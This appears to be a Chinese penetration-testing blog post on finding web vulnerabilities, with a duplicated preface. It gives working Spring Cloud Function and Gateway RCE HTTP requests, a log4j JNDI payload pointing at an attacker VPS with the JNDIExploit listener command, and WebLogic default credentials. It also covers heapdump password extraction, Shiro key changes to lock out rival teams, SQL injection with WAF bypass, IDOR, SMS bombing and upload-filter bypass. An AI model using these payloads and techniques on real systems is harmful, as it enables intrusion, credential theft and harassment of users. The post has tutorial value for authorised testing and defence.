渗透测试-如何高效率挖掘漏洞
前言
1、做渗透由始至终,忌讳穿插其他项目进行
2、按顺序细心测试每一个功能点,保证漏洞无遗漏
3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向
漏扫工具
AWVS
Xray
8080端口可尝试tomcat弱口令部署war包getshell
目录扫描
通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透
对于一些403的页面,可以进行二级目录扫描
dirsearch
1、做渗透由始至终,忌讳穿插其他项目进行
2、按顺序细心测试每一个功能点,保证漏洞无遗漏
3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向
AWVS
Xray
8080端口可尝试tomcat弱口令部署war包getshell
通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透
对于一些403的页面,可以进行二级目录扫描
dirsearch
通过目录扫描发现带有cms标识残留页面或者通过图标判断出
后缀为action,可能使用了struts2框架,使用工具尝试进行利用
命令执行成功
登录抓取数据包,发现存在rememberme字段,判断为shiro框架,尝试进行
检测当前密钥和利用链是否存在
两者存在利用成功
在攻防演练里getshell后还可以对key进行修改,防止其他队伍得分
使用潘神的一键改key工具,可看到key已经被修改
框架识别
访问7001端口出现下面这种截图,可能存在weblogic漏洞
使用weblogic漏洞利用工具,检测是否存在漏洞
执行命令
weblogic弱口令
输入console可跳转至登录界面,可以测试是否使用默认口令
system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
框架识别
1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)
2、通过 springboot 框架默认报错页面
目录扫描接口
推荐章神的railgun,有对应的springboot字典
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。
springboot exploit
目标地址填入要测试的url,点击检测环境,然后点击检测当前利用链
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口
heapdump密码获取
/heapdump
/actuator/heapdump
使用Eclipse Memory Analyzer进行分析
select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
springboot function spel rce
发送poc,成功执行命令
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
springboot gateway
添加一个路由
POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新令路由生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
访问触发漏洞
GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
删除路由
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4
工具检测
https://github.com/chaosec2021/CVE-2022-22947-POC
https://github.com/f0ng/log4j2burpscanner
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}
遇到参数后面带数字的,可以使用1=1、1=2判断是否存在sql注入
抓取数据包,使用sqlmap进行注入测试
测试成功
但在测试过程中可能会遇到被waf拦截的情况
可以fuzz被拦截的字符,有针对性进行绕过
通过查看系统的js文件,检索字段如id、pass、url等关键字
常见于任意文件读取、下载、包含漏洞
arjun+fuzz
知道参数为file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行fuzz
通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息
通过修改post数据包字段的数值,可进行越权操作,查看其他用户的个人信息
短信轰炸
对数据包进行重放,实现单用户收到多条短信的效果
短信定向转发
对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果
https://github.com/rtcatc/Packer-Fuzzer
黑名单过滤php后缀,尝试php3、php5、phtml等进行绕过
存在文件解析漏洞,比如apache的从右往左进行解析,可添加.xxx进行绕过
fuzz其他上传接口比如file、upload、uploadfile等,可能会存在其他接口不检验的问题,但实战中很少
之前我们一般暴力破解都是以admin为账号,去爆破top1000的字典,去根据状态码、长度筛选爆破结果
但是admin管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找js解密耗费时间久,对于admin建议尝试几个admin123、123456这些,如果没有的话我们应该选择其他的思路,固定密码123456、000000去爆破姓名拼音用户名